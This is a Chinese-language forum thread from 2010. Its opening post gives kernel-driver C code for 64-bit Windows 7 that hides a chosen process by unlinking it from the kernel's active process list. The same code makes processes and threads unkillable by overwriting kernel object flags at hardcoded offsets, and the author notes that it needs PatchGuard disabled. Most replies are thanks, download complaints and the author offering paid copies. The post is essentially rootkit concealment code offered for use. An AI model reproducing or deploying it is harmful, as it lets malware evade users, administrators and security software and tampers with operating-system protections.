Tesla.Angela 发表于 2010-10-16 08:25:56

[原创开源]在Windows 7 x64上隐藏进程和保护进程(2010-11-10更新)

实现隐藏进程和保护进程的手段依然是DKOM,不过是修改的位置不同而已。
至于怎么在64位操作系统上加载驱动,我已经说过了,请参考这里。
驱动使用WDK7的x64 Free Build Environment编译。

核心源码:
#define PROCESS_FLAGS_OFFSET                   0x440
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET    0x188
#define PROCESS_RUNDOWN_PROTECT_OFFSET         0x178

ULONG64 Get64bitValue(PVOID p)
{
    if(MmIsAddressValid(p)==FALSE)
      return 0;
    return *(PULONG64)p;
}

VOID Set64bitValue(PVOID p, ULONG64 v)
{
    KIRQL OldIrql;
    if(MmIsAddressValid(p)==FALSE)
      return ;
    OldIrql = KeRaiseIrqlToDpcLevel();
    *(PULONG64)p=v;
    KeLowerIrql(OldIrql);
}

VOID RemoveListEntry(PLIST_ENTRY ListEntry)
{
    KIRQL OldIrql;
    OldIrql = KeRaiseIrqlToDpcLevel();
    if (ListEntry->Flink != ListEntry &&
      ListEntry->Blink != ListEntry &&
      ListEntry->Blink->Flink == ListEntry &&
      ListEntry->Flink->Blink == ListEntry)
    {
            ListEntry->Flink->Blink = ListEntry->Blink;
            ListEntry->Blink->Flink = ListEntry->Flink;
            ListEntry->Flink = ListEntry;
            ListEntry->Blink = ListEntry;
    }
    KeLowerIrql(OldIrql);
}

VOID HideProcess(PEPROCESS Process)
{
    RemoveListEntry((PLIST_ENTRY)((ULONG64)Process + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
}

VOID Test(ULONG uIoControlCode)
{
    switch(uIoControlCode)
    {
      case IOCTL_HideProcess:
            {
                __try
                {
                  memcpy(&dwInputPid,pIoBuffer,sizeof(dwInputPid));
                  status=PsLookupProcessByProcessId(dwInputPid,&eProcess);
                  if(NT_SUCCESS(status))
                  {
                        HideProcess(eProcess);
                  }
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
      case IOCTL_ProtectProcess:
            {
                __try
                {
                  memcpy(&dwInputPid,pIoBuffer,sizeof(dwInputPid));
                  status=PsLookupProcessByProcessId(dwInputPid,&eProcess);
                  if(NT_SUCCESS(status))
                  {
                        OldVal=Get64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET));
                        Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET),RdpVal);
                  }
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
      case IOCTL_UnprotectProcess:
            {
                __try
                {
                  Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET),OldVal);
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
    }
}


2010-11-10更新内容:
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET    0x188
#define PROCESS_FLAG2_OFFSET                   0x43C
#define CROSS_THREAD_FLAGS_OFFSET            0x448

VOID Test(ULONG uIoControlCode)
{
    switch(uIoControlCode)
    {
      case IOCTL_ProtectProcess:
            {
                __try
                {
                  memcpy(&dwInPid,pIoBuffer,sizeof(dwInPid));
                  dprintf(" dwInPid=%ld",dwInPid);
                  status=PsLookupProcessByProcessId(dwInPid,&eProcess);
                  if(NT_SUCCESS(status))
                  {
                        dwPOV=Get64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET));
                        Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET),dwPNV);
                        dprintf(" Protect Process finished");
                  }
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
      case IOCTL_ProtectThread:
            {
                __try
                {
                  memcpy(&dwInTid,pIoBuffer,sizeof(dwInTid));
                  dprintf(" dwInTid=%ld",dwInTid);
                  status=PsLookupThreadByThreadId(dwInTid,&eThread);
                  if(NT_SUCCESS(status))
                  {
                        dwTOV=Get32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET));
                        Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTNV);
                        dprintf(" Protect Thread finished");
                  }
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
      case IOCTL_UnprotectProcess:
            {
                __try
                {
                  Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET),dwPOV);
                  Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTOV);
                  dprintf(" Unprotect Process and Thread finished");
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
      case IOCTL_PauseThrdProtect:
            {
                __try
                {
                  Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTOV);
                  dprintf(" Thread Protect Suspended!");
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
      case IOCTL_ResumeThrdProtect:
            {
                __try
                {
                  Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTNV);
                  dprintf(" Thread Protect Resumed!");
                }
                __except(EXCEPTION_EXECUTE_HANDLER)
                {
                  ;
                }
                break;
            }
    }
}
警告:此代码在没有破解内核的WIN7 X64上使用,会触发PatchGuard引起蓝屏。
Warning: If you use this code in WIN7 X64 without "crack kernel", it will trigger PatchGuard and cause BSOD.

xiaoly99 发表于 2010-10-16 11:07:51

TE

本网站最菜的人 发表于 2010-10-16 13:04:16

ok100fen 发表于 2010-10-17 00:07:40

看看

阿杰 发表于 2010-10-18 19:59:53

兄弟写的代码都是精品

huzhao23 发表于 2010-10-23 03:11:41

怎么附件不能下载啊

wj8900930 发表于 2010-12-25 23:20:08

楼主好像年龄并不大啊:funk:

Tesla.Angela 发表于 2010-12-25 23:45:51

回复 wj8900930 的帖子

也不小了。。。

wj8900930 发表于 2010-12-27 11:13:48

回复 wj8900930 的帖子

可真不容易,能回复了,5555555:victory:

srbenga 发表于 2011-1-12 07:39:55

:(:(:(:):):)可真不容易,能回可真不容易,能回可真不容易,能回

光爱哈赫 发表于 2011-1-14 22:01:25

y44260351 发表于 2011-2-10 22:24:01

经常有程序无缘无故关闭,需要第二个文件,但是没钱没权限:'(

Tesla.Angela 发表于 2011-2-10 22:26:30

回复 y44260351 的帖子

核心代码都贴出来了!!!

y44260351 发表于 2011-2-10 22:33:18

回复 Tesla.Angela 的帖子

我连汇编都不太行{:1_156:}

Tesla.Angela 发表于 2011-2-10 23:28:15

回复 y44260351 的帖子

这跟汇编有什么关系

soil 发表于 2011-5-2 18:14:50

但是没钱没权限

hack小恒 发表于 2011-6-27 12:53:34

支持了,但是不能下载啊

572202700 发表于 2011-7-11 15:52:02

很费解 怎么提升阅读权限···

Tesla.Angela 发表于 2011-7-11 16:14:06

572202700 发表于 2011-7-11 15:52 static/image/common/back.gif
很费解 怎么提升阅读权限···

http://www.vbasm.com/thread-4478-1-1.html

神马会飞 发表于 2011-9-8 07:58:33

可以隐藏进程了么?

2320806 发表于 2011-9-23 13:25:52

谁下到了能用不!!发个给我,我下不了

Tesla.Angela 发表于 2011-9-23 13:37:31

2320806 发表于 2011-9-23 13:25 static/image/common/back.gif
谁下到了能用不!!发个给我,我下不了

代码是我写的,你可以联系我付费购买。

zgzg15 发表于 2011-9-29 18:36:07

楼主不错,正好找这个

zgzg15 发表于 2011-9-29 18:36:27

阅读权限哪儿来的:loveliness:

zgzg15 发表于 2011-9-29 18:36:38

:P还要积分啊

zgzg15 发表于 2011-9-29 18:36:49

:$还要水晶币

zgzg15 发表于 2011-9-29 18:37:03

:o好多哦买卖打死

Tesla.Angela 发表于 2011-9-29 19:12:50

zgzg15 发表于 2011-9-29 18:37 static/image/common/back.gif
好多哦买卖打死

需要的话,可以自己用技术换取,也可以花钱购买。

wow1643 发表于 2011-10-19 10:43:37

谢谢分享 我会努力滴 :)

wow1643 发表于 2011-10-19 10:45:12

膜拜

wow1643 发表于 2011-10-19 10:45:26

不给下啊

wow1643 发表于 2011-10-19 10:45:37

需要的话,可以自己用技术换取,也可以花钱购买。
页: [1] 2 3
查看完整版本: [原创开源]在Windows 7 x64上隐藏进程和保护进程(2010-11-10更新)